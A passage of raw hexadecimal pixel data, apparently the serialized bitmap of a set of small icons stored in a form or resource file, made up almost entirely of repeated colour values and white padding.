0AFFB85109FFB85008FFBA5005FF916948FF2A5DB2FF1268F0FF1469ECFF1568\n      ECFF1568ECFF1669ECFF1669ECFF1669ECFF1669ECFF1669ECFF1669ECFF1568\n      ECFF1568ECFF1267ECFF1369F3FF4E6B99FF609953FF6DCE58FF6CCA59FF6DCB\n      58FF6DCB5AFF6DCB5AFF6DCB5AFF6DCB5AFF6DCB5AFF6DCB5AFF6DCB5AFF6DCB\n      5AFF6DCB58FF6CCA58FF6DD059FF6A8B66FF519690FF54C8BCFF54C6BAFF55C6\n      BBFF55C6BBFF57C5BBFF56C7BCFF58C7BCFF58C7BCFF56C7BCFF56C7BCFF57C5\n      BBFF55C6BBFF54C5BAFF54CBBFFF638A86FF854028FFA72F08FFA5310BFFA532\n      0CFFA6330DFFA6330DFFA6330DFFA6330DFFA6330DFFA6330DFFA6330DFFA633\n      0DFFA5320CFFA5310AFFA82E07FF875C4BFF2140A9FF063CE6FF083CE4FF0A3D\n      E4FF0A3EE4FF0A3EE4FF0A3EE4FF0A3EE4FF0A3EE4FF0A3EE4FF0A3EE4FF0A3E\n      E4FF093DE4FF083CE4FF053CE9FF495B95FF5F923CFF6DC133FF6DBF34FF6EBF\n      35FF6EBF35FF6EBF36FF6EBF36FF6EBF36FF6EBF36FF6EBF36FF6EBF36FF6EBF\n      35FF6EBF35FF6DBF33FF6EC433FF6A8758FF489998FF46CBC9FF48C7C7FF49C9\n      C7FF48C8C7FF4ACAC8FF49CAC8FF49CAC8FF49CAC8FF49CAC8FF4ACAC8FF48CA\n      C8FF49C9C7FF46C7C7FF47CECCFF5F8C8AFF782A24FF971309FF95160CFF9615\n      0CFF941208FF96180FFF98180FFF97180FFF97180FFF98180FFF96180FFF9618\n      0DFF951209FF941007FF991309FF794E49FFC6C4BBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29DFF619220FF72C305FF71C007FF72C0\n      09FF72C00BFF73C00AFF6CB70AFF6DB80AFF72BE0AFF73C00AFF73C00AFF72C0\n      09FF72C009FF71BF07FF72C306FF6C8749FFA37935FFDC9A28FFD89728FFDA98\n      2AFFD9982BFFD9992BFFDA992CFFDA992CFFDA992CFFDA992CFFDA992CFFD999\n      2BFFDA982AFFD89728FFDE9B28FF907953FF742425FF91080AFF8D090AFF951A\n      1BFFAA4748FF8D0507FF900E10FF900E10FF900E10FF900E10FF910E10FF8F09\n      0AFFAC4A4AFFA84446FF900304FF754949FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF3F20BBFF3800FFFF3A00FEFF3B01\n      FEFF3C02FEFF3200FDFF8D64FFFF8F67FFFF420BFFFF3200FDFF3C02FEFF3C02\n      FEFF3B01FEFF3A00FEFF3900FFFF58489DFF9A7D3FFFD1A23AFFCC9D38FFCC9B\n      38FFCE9E3AFFCD9D3AFFCF9F3BFFCF9F3BFFCF9F3BFFCF9F3BFFCF9F3BFFCE9E\n      3AFFCC9C38FFCD9D36FFD29F35FF8C7A58FF752424FF940C0CFF8D0404FFC179\n      79FFFFFFFFFF9A2626FF900C0CFF921010FF921010FF921010FF921010FF910D\n      0DFF981E1EFF951919FF920707FF764949FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF4526ADFF4310EEFF4110EAFF4011\n      EBFF3F0FEAFF582FECFFCABDF7FF2C00E8FF6E4BEFFFAC99F6FF3908E9FF4012\n      EBFF4111EBFF3F10EBFF3E0DF2FF5A4A96FF9B7D40FFD3A53FFFCFA23DFFCEA2\n      3FFFCE9D39FFCD9C38FFCF9E3AFFCF9F3AFFCF9F3BFFCF9F3BFFCF9F3BFFCE9E\n      3AFFCC9C38FFCD9D36FFD29F35FF8C7A58FF772420FF970C0CFF940E0EFF9C21\n      21FFAF4E48FF951818FF900E0EFF8F0B0BFF920D0AFF921010FF910E0EFF920E\n      0EFF8F0C0CFF8D0606FF920808FF764949FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF4526ADFF4612F0FF4815ECFF4515\n      EAFF3E0EEAFF562CECFFCDC2F9FF2A00E8FF6742EFFFA28BF4FF3A09E9FF4011\n      EBFF4110EBFF3E10EBFF3E0DF2FF5A4A96FF9C7E42FFD4A53FFFDBB55CFFD1A4\n      41FFD2A647FFD1A443FFCFA03DFFCE9D3AFFCE9D39FFCE9D39FFCE9E39FFCD9C\n      38FFCC9B36FFCC9A34FFD19F35FF8C7A58FF673359FFA01915FF990700FFA025\n      26FF7B215DFF98110BFF900100FFAC4137FF8E2C4AFF900B08FF961C1CFF9011\n      11FF8E0909FFA43D3DFF920808FF754747FFBEBEBBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9F9F9DFF3F20BBFF3D07FFFF3F0AFFFF400C\n      FFFF420EFFFF3401FEFF8160FFFF896CFFFF3A0EFEFF2B00FDFF3405FFFF3405\n      FDFF3204FDFF3103FDFF3301FFFF56489DFF9D7E41FFDFAE36FF928DE0FFDFB4\n      42FFD2A645FFD3A849FFD3A849FFD3A84AFFD3A748FFD2A646FFD2A645FFD0A5\n      44FFD1A544FFD2A544FFD7AB46FF8D7B5AFF99655BFFB4B1FCFF8A4D96FFC776\n      6FFF324BFFFFCB5733FFBFA4D0FF9F8CDDFF98293CFF970A07FFC57B7BFFA631\n      31FF991111FF960909FFBE5D5DFF805F5FFF8F92B3FFBFC4F9FFBCC0F5FFBDC2\n      F5FFBDC1F5FFBDC1F5FFBDC1F5FFBDC1F5FFBDC1F5FFBDC1F5FFBDC1F5FFBDC1\n      F5FFBDC2F5FFBCC0F5FFC1C7FDFF848699FFA18320FFDEB000FFDBAC00FFDCAD\n      03FFDCAD04FFDCAF04FFD7A704FFD7A804FFDBAB03FFDBAC02FFDBAC01FFDBAC\n      01FFDBAC00FFDBAC00FFE2B200FF8E7C48FFA08445FFBDADB8FF393AFFFF9A92\n      D5FFDDB75DFFD3A747FFD4AA4BFFD4AA4BFFD4AA4BFFD4AA4BFFD4AA4BFFD4A9\n      4AFFD4A949FFD2A848FFD9AC47FF8C7B5AFF514CB2FF5E52EDFF6970FFFF565E\n      FFFF1B1BFFFF727CFFFF5557FFFF5D55EDFF7348B2FFA11209FF9B0F0FFF9C13\n      13FF9B0F0FFF9A0B0BFFA92525FF784B4BFF2631A6FF172DE4FF192EE2FF1C2E\n      E2FF1D30E2FF1D30E2FF1D30E2FF1D30E2FF1D30E2FF1D30E2FF1D30E2FF1D30\n      E2FF1C2EE2FF1A2EE2FF162DE7FF4A5091FF997B24FFD3A510FFD1A313FFD1A4\n      14FFD1A417FFD1A417FFD1A417FFD1A417FFD1A417FFD1A417FFD1A417FFD1A4\n      16FFD1A415FFD1A313FFD6A70FFF8A7849FF9D8041FFDDAC37FFC2B0B2FFDBAB\n      36FFD5A847FFD5A949FFD5AB4AFFD5AB4AFFD5AB4AFFD5AB4AFFD5AB4AFFD5A9\n      49FFD4AA48FFD4A847FFDBAF48FF8C7A59FF75496DFF9674CCFF909CFFFFB9AF\n      EDFF2527FFFF938CF3FFAFB8FFFFA16DA9FF983D68FF9F0C08FF9E1111FF9C0B\n      0BFFBE6262FFBB5A5AFF9E0202FF764747FF2D38A7FF233AE8FF263AE4FF263B\n      E4FF283BE4FF273BE4FF273BE5FF273CE5FF273CE5FF273BE5FF273BE4FF283B\n      E4FF273BE4FF243AE4FF233AEBFF4E5391FF9B7A22FFD5A60BFFD1A40EFFD2A5\n      10FFD2A511FFD2A511FFD2A511FFD2A511FFD2A511FFD2A511FFD2A511FFD2A5\n      11FFD2A510FFD1A40EFFD8A80AFF8A7748FFA2874BFFDDB760FFDDB65EFFD9B3\n      5FFFD9B35FFFD9B55FFFDAB460FFDAB460FFDAB460FFDAB460FFDAB460FFD9B5\n      5FFFD9B35EFFD9B45EFFDDB55FFF9A8965FF806B9DFFBCA5DBFFC86756FFC46B\n      6BFF5065FFFFBE3B1DFF964F82FFBCB9F8FFBB7388FFA92D2BFFAB3333FFAB33\n      33FFA83030FFA92C2CFFAD3232FF855555FF3841ACFF4453EDFF4150E9FF4152\n      E9FF4251E9FF4253E9FF4253E9FF4253E9FF4253E9FF4253E9FF4253E9FF4251\n      E9FF4152E9FF4051E9FF4252EDFF5B60A0FF9F812FFFDAB232FFD6AE30FFD6AF\n      31FFD6AF32FFD6AF32FFD6AF32FFD6AF32FFD6AF32FFD6AF32FFD6AF32FFD6AF\n      32FFD6AE31FFD6AE30FFDCB130FF988655FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C1FFC2C2C1FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFFDCDCDCFFC1C1C1FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC1C1C2FFC0C0C0FFFFFFFFFFDCDCDCFFC2C1C1FFC2C2C1FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C1C1FFC0C0C0FFFFFFFFFF9C6D48FFDD8E4AFFDA8C49FFDA8B\n      4AFFDA8B4AFFDA8B4AFFDA8B4AFFDA8A49FFD78540FFDC9354FFD58139FFD785\n      41FFDA8B4AFFDA8C49FFE08F4BFF8B725FFF3F359EFF3C29E4FF3A27DFFF3B26\n      DFFF3B26DEFF3B27DEFF2D18DCFFA196F0FF8172EAFF311CDCFF3B27DEFF3B26\n      DEFF3B26DFFF3A26DFFF3E28E7FF5B568EFFB39F61FFFFE378FFFEDE75FFFEDD\n      74FFFEDD74FFFEDD75FFFEDD75FFFEDD75FFFEDD75FFFEDD75FFFEDD75FFFEDD\n      74FFFDDC73FFFDDD74FFFFE679FF998E6AFF208DBCFF01C9FFFF01C4FFFF01C4\n      FFFF01C4FFFF01C4FFFF01C3FFFF01C3FFFF01C3FFFF01C3FFFF01C4FFFF01C4\n      FFFF01C4FFFF01C4FFFF01CCFFFF48839DFF9E6E48FFD58746FFD18646FFD186\n      47FFD18747FFCF8442FFD08443FFCC7733FFF9EDE4FFFFFFFFFFFFFFFFFFE7C0\n      A0FFCE7B39FFD18646FFD78945FF8F745FFF3F33A0FF3722D8FF3724D4FF3825\n      D4FF3725D4FF321DD2FF5746DBFFFFFFFCFFFFFFFBFF412FD5FF3520D3FF3725\n      D4FF3825D4FF3722D4FF3623DBFF58538EFFAE9660FFEBC46EFFE7C06DFFE7C0\n      6EFFE7C26EFFE7C16EFFE7C16EFFE7C16EFFE7C16EFFE7C16EFFE7C16EFFE7C2\n      6EFFE7C06DFFE6BF6CFFEDC56FFF978A6AFF218BBDFF06B6FFFF08B4FFFF0AB4\n      FFFF0AB4FFFF0AB4FFFF0AB5FFFF0AB5FFFF0AB5FFFF0AB5FFFF0AB4FFFF0AB4\n      FFFF09B4FFFF08B4FFFF06B7FFFF49829FFF9D6D46FFD48644FFD18545FFCF84\n      43FFCF7D3BFFDEA778FFD99B66FFE2B28AFFF1DCCBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFD89963FFCF823FFFD78643FF8E725DFF3C2F9EFF321ED5FF341FD1FF3522\n      D3FF341FD2FF2D1AD1FFFFFFFBFFFCFCFBFFFEFFFBFFF0F0F9FF240FCFFF3520\n      D2FF3522D3FF3220D1FF321DD8FF57508EFFB3A896FFF6E5C9FFF4E1C5FFF4E3\n      C6FFF4E3C6FFF4E3C6FFF8E5C8FFF9E7C8FFF9E6C8FFF5E4C7FFF4E3C6FFF4E3\n      C6FFF2E2C5FFF3E2C4FFF8E7CAFF99938AFF2185BBFF07ACFFFF0AAAFFFF0BAB\n      FFFF0CABFFFF0CABFFFF0CABFFFF0CABFFFF0CABFFFF0CABFFFF0CABFFFF0CAB\n      FFFF0BABFFFF09AAFFFF07AEFFFF49809DFF9D6B45FFD38340FFCE8240FFD185\n      46FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFF9F1EBFFCA742FFFD68541FF8D715CFF3A2C9DFF2E1BD3FF311CD1FF311E\n      D0FF1C0AD2FFD8D8FDFFFFFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFBBB6F6FF1E0C\n      D1FF321FD0FF2F1DD1FF2F1AD6FF564F8CFFB9BBBDFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFD6E8F8FFB6D5EFFFC6DFF4FFF5FAFFFFFFFFFFFFFEFF\n      FFFFFEFFFFFFFEFFFFFFFFFFFFFF9D9D9DFF2184C0FF00A6FCFF02A6FBFF04A6\n      FBFF04A7FBFF05A7FBFF05A7FBFF05A7FBFF05A7FBFF05A7FBFF04A7FBFF04A7\n      FBFF04A6FBFF02A6FBFF00ABFFFF497DA1FF9D6B45FFD38340FFCF803CFFEDD0\n      B9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFDA9F6CFFD4823BFF8D715BFF392C9DFF2D18D3FF2F1CD1FF2412\n      D9FF8A6DB3FFFDE6B8FFEED6B6FFEED6B6FFEED6B6FFEED6B6FFFFEAB8FF6A50\n      B8FF2815D7FF2F1ACFFF2C18D6FF554E8DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFBDD7ECFF76ACD8FF54A0D9FF71A9D7FFADCFE9FFFEFEFDFFFEFE\n      FEFFFEFEFEFFFEFEFEFFFFFFFFFF9C9C9DFF922020FFBF0000FFBD0000FFBE00\n      00FFBE0100FFBE0100FFBE0100FFBE0100FFBE0100FFBE0100FFBE0100FFBE01\n      00FFBE0000FFBD0000FFC20000FF854848FF9D6D46FFD48846FFCE7B39FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFD89862FFD4833CFF8D715BFF3A2C9DFF331DD4FF2C19D7FF472B\n      B1FFD88100FFC67000FFC67000FFC67000FFC67000FFC67000FFC77000FFD580\n      00FF3721C7FF2C19D4FF2D18D6FF564E8DFFB8B8B8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFF3F6FAFFA1C7E5FF49A3E0FF44ABE8FF40A7E6FF94BDE2FFE6EFF7FFFFFF\n      FEFFFEFEFEFFFEFEFEFFFFFFFFFF9C9C9CFF872525FFB20C0CFFAD0D0DFFAD0E\n      0EFFAF1010FFAF1010FFAF1010FFAF1010FFAF1010FFAF1010FFAF1010FFAF0F\n      0FFFAD0E0EFFAE0C0CFFB00909FF804A4AFF9E6E46FFD58948FFCF7C3AFFF7EB\n      E0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFF3E1D1FFD18546FFD5843EFF8D715BFF3A2E9DFF3520D7FF3C26DAFFDC89\n      0BFFD77D0AFFD57806FFD47200FFD57200FFD57300FFD57300FFD67A08FFD981\n      08FFCD7818FF2A18E1FF2C18D7FF564E8DFFB8B8B8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFCFCFDFFA8CDEAFF4E99D3FF42AEEDFF4296D4FF97C1E4FFEEF4F9FFFFFF\n      FEFFFEFEFEFFFEFEFEFFFFFFFFFF9C9C9CFF872424FFB40E0EFFB21111FFB110\n      10FFAD0F0EFFAE0F0FFFAE0F0FFFAF100FFFAF1010FFAF1010FFAF1010FFAF0F\n      0FFFAE0E0EFFAE0C0CFFB00909FF804A4AFF9E6F4AFFD58641FFEED2BBFFFCFA\n      F9FFE9C8ABFFFCFAF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFE2B58FFFCD7936FFD58641FF8D715CFF3C2F9EFF3B23ECFF3A2A38FF4B35\n      0EFF48452DFF4E8071FF51C2C4FF4CBABDFF4DB9BDFF4CC2C6FF46695BFF4038\n      20FF452D04FF2E1F4DFF2F19E8FF554F8DFFB8B8B8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFD8E7F4FF9BC6E5FF77ABD7FF92BFE3FFCCDFF0FFFFFFFFFFFEFE\n      FEFFFEFEFEFFFEFEFEFFFFFFFFFF9C9C9CFF922420FFC60F00FFBE1200FFBF15\n      00FFBF1500FFBD1400FFBA1100FFB70E00FFB80F00FFB80F00FFB80F00FFB80E\n      00FFB70D00FFB80B00FFC00A00FF854948FF9E6E48FFDB975BFFECCDB3FFD083\n      3EFFD28544FFDEA97AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFDCA371FFD48B4DFFDB9351FF8F735DFF3F31A8FF271B79FF0C0F04FF1010\n      13FF142930FF1F7991FF2CE2FFFF2CDFFFFF2BE1FFFF28D6FCFF1B738BFF111F\n      23FF0E0F12FF0C0F00FF311F9EFF574F92FFBBBDBEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFF8FDFFFFE4F2FFFFE9F6FFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9DA0FF2126C4FF0410FFFF0713FBFF0A16\n      FBFF0B17FBFF0B17FBFF0B17FBFF0B17FBFF0A16FBFF0915FBFF0815FBFF0815\n      FBFF0714FBFF0512FBFF0410FFFF494BA2FF9E704AFFD99151FFD38B4CFFD792\n      55FFD69153FFD48C4DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E9DCFFE4B8\n      92FFD68E50FFD59052FFDC9454FF8F735DFF382C89FF0C0E00FF131313FF1515\n      15FF160F0EFF1F535CFF247384FF2DBCD8FF2EBFDBFF226874FF1D4148FF1510\n      0FFF151515FF131312FF0D0E05FF554F87FFA88E72FFE6C198FFE3BF97FFE3BF\n      98FFE3BF98FFE3BF98FFE5BF98FFE7C198FFE6C098FFE4BF98FFE3BF98FFE3BF\n      98FFE3BF97FFE4BD96FFE9C49AFF928374FF2424B9FF1010FFFF1313FFFF1415\n      FFFF1717FFFF1717FFFF1717FFFF1717FFFF1717FFFF1717FFFF1717FFFF1616\n      FFFF1515FFFF1313FFFF0F0FFFFF49499DFF9E6F49FFDB9553FFD79253FFD792\n      54FFD79254FFD58F50FFDDA471FFF2DAC6FFEDCFB4FFD79456FFD58A49FFD58E\n      4EFFD79254FFD79252FFDE9655FF8D725CFF202220FF0B0B0AFF0E0E0EFF1010\n      10FF111111FF0F0807FF184046FF16373DFF131B1CFF173C42FF0F0A09FF1111\n      11FF101010FF0E0E0EFF0A0A08FF474847FFA48867FFE5B98AFFE2B789FFE2B7\n      89FFE2B78AFFE2B78AFFE2B78AFFE2B78AFFE2B78AFFE2B78AFFE2B78AFFE0B7\n      8AFFE1B689FFE1B688FFE6BB8BFF8F7E6DFF2222B8FF0B0BFFFF0E0EFFFF1010\n      FFFF1111FFFF1111FFFF1111FFFF1111FFFF1111FFFF1111FFFF1111FFFF1111\n      FFFF1010FFFF0E0EFFFF0A0AFFFF48489BFFA57650FFE0A26BFFDDA068FFDDA0\n      69FFDDA069FFDDA069FFDC9D65FFDA995FFFDA9A60FFDC9E68FFDDA069FFDDA0\n      69FFDDA069FFDDA068FFE1A26BFF9C8068FF2F2F2DFF323232FF303030FF3131\n      31FF323232FF323232FF312D2CFF313233FF322F2FFF312E2DFF323232FF3232\n      32FF313131FF303030FF303030FF555555FFA98F6FFFE8C39AFFE6C097FFE7C1\n      98FFE7C198FFE7C198FFE7C198FFE7C198FFE7C198FFE7C198FFE7C198FFE7C1\n      98FFE6C097FFE5C096FFEAC49AFF9E8F7BFF2F2FBFFF3232FFFF3030FFFF3131\n      FFFF3232FFFF3232FFFF3232FFFF3232FFFF3232FFFF3232FFFF3232FFFF3232\n      FFFF3131FFFF3030FFFF3030FFFF5555ABFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBEFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0BFFFC0C0BFFFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C2FFC4C4C4FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC4C4C4FFC0C0C0FFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFBFC0C0FFBFC0C0FFBFBFBFFFFFFFFFFF60282AFF731010FF701011FF7110\n      12FF711112FF711112FF711112FF711112FF72110EFF741009FF740E05FF6F08\n      02FF58072FFF3F0260FF401DA2FF6A678DFF662F31FF831920FF811A20FF811A\n      21FF880E12FF29A4C4FF01E0FFFF05DBFFFF05DBFFFF05E2FFFF0591FFFF0510\n      FFFF051BFFFF041AFFFF0218FFFF48509AFF2F2F2FFF1C1C1CFF1A1A1AFF1B1B\n      1BFF1B1B1BFF1C1C1CFF1C1C1CFF1C1C1CFF1C1C1CFF1C1C1CFF1C1C1CFF1B1B\n      1BFF1B1B1BFF1B1B1BFF1D1D1DFF535353FF734635FF994327FF964328FF9543\n      28FF964329FF964329FF964329FF964329FF964329FF964329FF964329FF9643\n      28FF954428FF964327FF9A4427FF765C53FF602828FF6D0F10FF6D1110FF6E12\n      11FF6F110EFF71100AFF710E05FF6D0A03FF56082FFF3C0462FF3F1E9FFF7368\n      E3FFB0ADF7FFE9ECFFFFFFFFFFFFA3A4A1FF6B2B32FF81141FFF801621FF8117\n      